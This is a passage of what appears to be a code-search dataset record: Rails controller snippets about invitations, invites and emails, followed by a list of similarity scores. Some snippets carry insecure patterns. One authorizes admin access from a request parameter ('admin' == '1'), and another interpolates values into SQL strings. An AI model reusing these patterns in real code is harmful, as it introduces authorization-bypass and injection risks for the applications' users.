Team.find_by_id(params[:team_id])\n @invite_requests = @team.invite_requests\n end", "def index\n\t\t@users = Invitation.pending_users(params[:page])\n\tend", "def index\n @friend_invites = FriendInvite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @friend_invites }\n end\n end", "def index\n\n @emails = Email.all\n #redirect_to invites_path\n\n end", "def get_mission_invites\n\t#get all missions of user with invitaion_status = pending\n user = User.exists? (params[:user_id])\n\tif user\n\t\tmissions = user.missions.references( :user_missions).select('missions.id, missions.title, user_missions.invitation_time').where( user_missions:{ invitation_status: PENDING_MESA_INVITATION})\n\t\trespond_to do |format|\n\t\t format.json {render :json=> {:mesa_invites=> missions, :status => true} }\n\t\tend\n else\n\t respond_to do |format|\n\t\t format.json {render :json=> {:error=>'No user exists with id' , :status => false} }\n\t end\n\tend\n end", "def index\n @invoices = @user.invoices.all\n render json: @invoices, status: :ok\n end", "def load_invitations\n @invitations ||= begin\n ids = resend_invitation_params\n ids ||= current_course.invitations.unconfirmed.select(:id)\n if ids.blank?\n []\n else\n current_course.invitations.unconfirmed.where('course_user_invitations.id IN (?)', ids)\n end\n end\n end", "def load_invitations\n @invitations ||= begin\n ids = resend_invitation_params\n ids ||= current_course.invitations.unconfirmed.select(:id)\n if ids.blank?\n []\n else\n current_course.invitations.unconfirmed.where('course_user_invitations.id IN (?)', ids)\n end\n end\n end", "def index\n if params[:admin] == \"1\"\n @invites = Invite.all\n else\n render file: \"#{Rails.root}/public/403.html\", status: 403, layout: false\n end\n end", "def index\n @mammon_invite_records = Mammon::InviteRecord.all\n end", "def invites\n user = current_user\n\n # Query to get only not yet accepted trips associated wiht the current user\n @trips = Trip.joins(:user_trips).where(user_trips: { accepted: false }).where(user_trips: { user_id: user.id })\n render json: @trips\n end", "def venue_listed(id, options = {})\n get(\"venues/#{id}/listed\", options).lists\n end", "def index\n @invitados = Invitado.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invitados }\n end\n end", "def get_all_invitations(opts = {})\n data, _status_code, _headers = get_all_invitations_with_http_info(opts)\n data\n end", "def index\n @members = Member.members\n @participants = Member.participants\n @invited_count = Member.count\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @members }\n end\n end", "def index\n\t\t@events = Event.where(\"creator_id = ?\", current_user.id)\n\t\tInvitation.where(\"email = ? and accepted = ?\", current_user.email, true).each do |invitation|\n\t\t\t@events << invitation.event\n\t\tend\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def list_incidents(opts = {})\n data, _status_code, _headers = list_incidents_with_http_info(opts)\n data\n end", "def invite_detail\n service_response = AdminManagement::AdminUser::GetInviteDetail.new(params).perform\n render_api_response(service_response)\n end", "def index\n @invitaciones = Invitacione.all\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end", "def getInvited\n rsvpInvited = []\n Invitation.where(\"study_session_id = '#{self.id}' AND status = 'invited'\").each do |invitation|\n rsvpInvited.push(User.where(\"id = '#{invitation.user_id}'\").first)\n end\n return rsvpInvited\n end", "def find_invitations(opts = {})\n data, _status_code, _headers = find_invitations_with_http_info(opts)\n data\n end", "def show\n user = User.find_by(id: params[:id]) #should use session id\n if user\n invitations = user.invitations\n if invitations\n render json: invitations, status: :ok\n else\n head :no_content\n end\n else\n render json: {error: \"User not found\"}, status: :not_found\n end\n end", "def available_invites\n self.user_admin? ? 1 : self[:available_invites]\n end", "def total_invites\n since = Time.zone.now - params[:days].to_i.days\n count = GroupInvitation\n .where('created_at > ?', since)\n .count\n respond_with json_response('total_invites', count)\n end", "def invoices\n Invoice.where(email: email)\n end", "def index\n @events = Event.where({ user_id: current_user.id }).order(created_at: :desc)\n @invitations = EventUser.where({ number: current_user.phone }).map { |invite| invite.event }\n \n end", "def index\n # session[:user_id] = nil\n # binding.pry\n @user = User.new\n @invitations = Invitation.where(email: session[:user_email])\n @num_of_invites = @invitations.length\n end", "def index\n @pending_invitations = @organization.invitations.pending\n @declined_invitations = @organization.invitations.declined\n @contributors = @organization.contributors\n @invitation = Invitation.new(organization: @organization)\n\n authorize! @invitation\n end", "def index\n @emails = current_user.emails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @emails }\n end\n end", "def index\n @invitations = @event.invitations.to_a\n if @invitations.empty?\n redirect_to new_page_event_invitation_path(@page, @event)\n return\n end\n @summary = Invitation.summarize(@invitations)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invitations }\n end\n end", "def index\n @inboxes = current_user.inboxes\n end", "def index\n @emails = @user.emails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @emails }\n end\n end", "def index\n @emails = @user.emails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @emails }\n end\n end", "def invitable_users\n @title = \"Invitar usuario\"\n @invitable_users = GetInvitableUsers.call(@previa_group)\n end" ]
[ "0.7855363", "0.7855363", "0.7855363", "0.7855363", "0.7855363", "0.78424275", "0.78424275", "0.78424275", "0.7803815", "0.75770444", "0.7499979", "0.7492348", "0.7449011", "0.7435164", "0.73281956", "0.71798205", "0.7153547", "0.70924157", "0.70863575", "0.70551753", "0.6983104", "0.69533527", "0.691747", "0.691665", "0.691382", "0.69115037", "0.68822", "0.68689257", "0.68229467", "0.68229467", "0.68229467", "0.6817688", "0.67823064", "0.67732775", "0.67630553", "0.6734183", "0.66946656", "0.66913337", "0.6688132", "0.6686777", "0.6686777", "0.66855764", "0.66431653", "0.6594603", "0.65796965", "0.6538206", "0.6531524", "0.65278196", "0.65187556", "0.64811623", "0.6452796", "0.6450165", "0.64495355", "0.6430231", "0.64114696", "0.63954633", "0.6393089", "0.6387181", "0.6367008", "0.6358246", "0.6337412", "0.6335945", "0.6310667", "0.62985504", "0.6269957", "0.62450975", "0.62339777", "0.6212219", "0.61953026", "0.6180247", "0.6168803", "0.61073583", "0.6098897", "0.6098897", "0.60801494", "0.60533726", "0.60518104", "0.60440004", "0.60417545", "0.6041354", "0.6020784", "0.60137564", "0.6010677", "0.60041326", "0.59973705", "0.5985864", "0.5952041", "0.59508395", "0.59466237", "0.5942784", "0.5897241", "0.58908767", "0.5879959", "0.5863801", "0.586351", "0.585519", "0.58489555", "0.5848641", "0.5848641", "0.5847694" ]
0.7481334
12